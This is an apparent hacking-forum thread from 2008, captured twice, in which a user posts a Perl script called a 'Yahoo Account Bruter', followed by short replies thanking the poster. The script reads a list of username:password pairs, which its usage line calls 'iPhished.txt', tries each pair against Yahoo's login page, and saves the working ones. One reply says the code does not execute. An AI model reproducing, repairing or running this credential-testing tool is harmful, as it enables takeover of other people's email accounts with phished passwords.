Yahoo Account Bruter (perl)

♥♥♥ · 10-11-2008

#!/usr/bin/perl

#Yahoo! LOGIN SPECS

#USERNAME: 4-32 characters, Start with a letter. [Letters, Digits, Underscores and ONE dot]

#PASSWORD: 6-32 characters, no spaces

use HTTP::Cookies;

$myCookies = HTTP::Cookies->new();

use LWP::UserAgent;

my $ua = LWP::UserAgent->new;

$ua->cookie_jar($myCookies);

$ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.4');

push @{$ua->requests_redirectable}, 'POST';

sub usage{

print "[-] yahoo.pl <logins> (loginass format) <results>\n";

print "[-] yahoo.pl iPhished.txt thanks.txt\n";

die("[!] Incorrect usage\n");

}

sub yahoo($$){

my $username = $_[0];

my $password = $_[1];

my $url = "https://login.yahoo.com/config/login?login=$username&passwd=$password";

my $login = $ua->get($url);

die("[!] Connection error\n") unless ($login->is_success);

if($login->content =~ m/<strong>Invalid ID or password.<\/strong><br> Please try again.<\/div>/){

return 0;

}

elsif($login->content =~ m/<body>\nIf you are seeing this page, your browser settings prevent you \nfrom automatically redirecting to a new URL./){

return 1;

}

elsif($login->content =~ m/Unable to/){

die("[!] Yahoo killed you!\n");

}

}

if(@ARGV!= 2){

&usage;

}

else{

my $loginlist = $ARGV[0];

my $resultlist = $ARGV[1];

open("xfile", $loginlist) || die "Couldn't open $loginlist\n";

while(my $line = <xfile>){

chomp($line);

if($line =~ m/[a-z0-9_\.]\@yahoo\.com(.*?).+){6,32}$/i){

my @details = split(/:/,$line);

print "[-] Checking $details[0] : $details[1]\t";

if(yahoo($details[0],$details[1])){

print "Success\n";

open(LOG,">>$resultlist") || die "Couldn't open $resultlist\n";

print LOG "$details[0]:$details[1]\n";

close(LOG);

}

else{

print "Failure\n";

}

}

}

}

Cre4tiVe · 10-23-2008

This looooooooooooooooooooooonggggggggggggg bruting! Thanks anyway

xneoz · 10-25-2008

Thanks Cool

devil_eye · 11-04-2008

tankx coooooooooooool

fosi · 11-06-2008

is this method still working?

mantela27 · 11-15-2008

Thanks great post

llacassoft · 12-03-2008

thank you very much what look ...

Xploit Machine · 12-03-2008

it does not execute anway ! .. please correct the perl codes

darksoldier · 4 Weeks Ago

thanksss a lot

darksoldier · 4 Weeks Ago

thanksss a lot

10-11-2008	#1 (permalink)
♥♥♥ Junior Member Join Date: Oct 2008 Posts: 3 Thanks: 0 Thanked 5 Times in 2 Posts Rep Power: 0	Yahoo Account Bruter (perl) #!/usr/bin/perl #Yahoo! LOGIN SPECS #USERNAME: 4-32 characters, Start with a letter. [Letters, Digits, Underscores and ONE dot] #PASSWORD: 6-32 characters, no spaces use HTTP::Cookies; $myCookies = HTTP::Cookies->new(); use LWP::UserAgent; my $ua = LWP::UserAgent->new; $ua->cookie_jar($myCookies); $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.4'); push @{$ua->requests_redirectable}, 'POST'; sub usage{ print "[-] yahoo.pl <logins> (loginass format) <results>\n"; print "[-] yahoo.pl iPhished.txt thanks.txt\n"; die("[!] Incorrect usage\n"); } sub yahoo($$){ my $username = $_[0]; my $password = $_[1]; my $url = "https://login.yahoo.com/config/login?login=$username&passwd=$password"; my $login = $ua->get($url); die("[!] Connection error\n") unless ($login->is_success); if($login->content =~ m/<strong>Invalid ID or password.<\/strong><br> Please try again.<\/div>/){ return 0; } elsif($login->content =~ m/<body>\nIf you are seeing this page, your browser settings prevent you \nfrom automatically redirecting to a new URL./){ return 1; } elsif($login->content =~ m/Unable to/){ die("[!] Yahoo killed you!\n"); } } if(@ARGV!= 2){ &usage; } else{ my $loginlist = $ARGV[0]; my $resultlist = $ARGV[1]; open("xfile", $loginlist) \|\| die "Couldn't open $loginlist\n"; while(my $line = <xfile>){ chomp($line); if($line =~ m/[a-z0-9_\.]\@yahoo\.com(.?).+){6,32}$/i){ my @details = split(/:/,$line); print "[-] Checking $details[0] : $details[1]\t"; if(yahoo($details[0],$details[1])){ print "Success\n"; open(LOG,">>$resultlist") \|\| die "Couldn't open $resultlist\n"; print LOG "$details[0]:$details[1]\n"; close(LOG); } else{ print "Failure\n"; } } } } __________________ source : To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.*

Thread Tools
Show Printable Version Email this Page
Display Modes
Linear Mode Switch to Hybrid Mode Switch to Threaded Mode

Similar Threads
Thread	Thread Starter	Forum	Replies	Last Post
Yahoo! Account Password Crackers	Armageddon	Graveyard	14	02-12-2007 05:39 PM

10-23-2008	#2 (permalink)
Cre4tiVe Leecher Join Date: Jul 2008 Posts: 7 Thanks: 0 Thanked 0 Times in 0 Posts Rep Power: 0	This looooooooooooooooooooooonggggggggggggg bruting! Thanks anyway

10-25-2008	#3 (permalink)
xneoz Leecher Join Date: Oct 2008 Posts: 5 Thanks: 0 Thanked 0 Times in 0 Posts Rep Power: 0	Thanks Cool

11-04-2008	#4 (permalink)
devil_eye Leecher Join Date: Oct 2008 Posts: 10 Thanks: 3 Thanked 0 Times in 0 Posts Rep Power: 9	tankx coooooooooooool

11-06-2008	#5 (permalink)
fosi Junior Member Join Date: Sep 2008 Posts: 24 Thanks: 0 Thanked 0 Times in 0 Posts Rep Power: 14	is this method still working?

11-15-2008	#6 (permalink)
mantela27 Leecher Join Date: Oct 2008 Posts: 14 Thanks: 0 Thanked 0 Times in 0 Posts Rep Power: 9	Thanks great post

12-03-2008	#7 (permalink)
llacassoft Leecher Join Date: Dec 2008 Posts: 8 Thanks: 5 Thanked 0 Times in 0 Posts Rep Power: 0	thank you very much what look ...

12-03-2008	#8 (permalink)
Xploit Machine Junior Member Join Date: Nov 2008 Location: Malaysia Posts: 39 Thanks: 4 Thanked 0 Times in 0 Posts Rep Power: 6	it does not execute anway ! .. please correct the perl codes

4 Weeks Ago	#9 (permalink)
darksoldier Leecher Join Date: Dec 2008 Age: 19 Posts: 6 Thanks: 2 Thanked 0 Times in 0 Posts Rep Power: 0	thanksss a lot

4 Weeks Ago	#10 (permalink)
darksoldier Leecher Join Date: Dec 2008 Age: 19 Posts: 6 Thanks: 2 Thanked 0 Times in 0 Posts Rep Power: 0	thanksss a lot

Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)